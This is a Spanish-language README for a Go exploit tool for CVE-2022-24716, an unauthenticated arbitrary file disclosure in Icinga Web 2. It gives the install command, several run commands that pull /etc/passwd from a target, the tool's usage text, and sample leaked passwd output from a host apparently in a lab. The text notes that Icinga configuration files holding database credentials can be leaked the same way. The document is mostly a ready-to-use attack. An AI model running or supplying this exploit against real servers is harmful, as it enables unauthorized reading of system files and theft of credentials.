
CVE-2022-24716 (Divulgación de archivos arbitrarios en Icingaweb2)
Icinga Web 2 es una interfaz web de monitoreo de código abierto, framework e interfaz de línea de comandos. Los usuarios no autenticados pueden filtrar el contenido de archivos locales del sistema accesibles por el usuario desde el servidor web, incluidos los archivos de configuración de icingaweb2 con credenciales de la base de datos.
CVE-2022-24716 requiere golang y para descargarlo solo tienes que usar:
go install -v github.com/joaoviictorti/CVE-2022-24716@latest
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd -p http://127.0.0.1:8080
Esto mostrará la ayuda de la herramienta. Estas son todas las opciones que admite:
usage: CVE-2022-24716 [-h|--help] -u|--url "<value>" -f|--file "<value>"
[-p|--proxy "<value>"]
CVE-2022-24716 - Arbitrary File Disclosure
Arguments:
-h --help Print help information
-u --url Insert url
-f --file Insert file
-p --proxy Insert proxy
go run .\CVE-2022-24716.go -u http://icinga.cerberus.local:8080 -f /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
......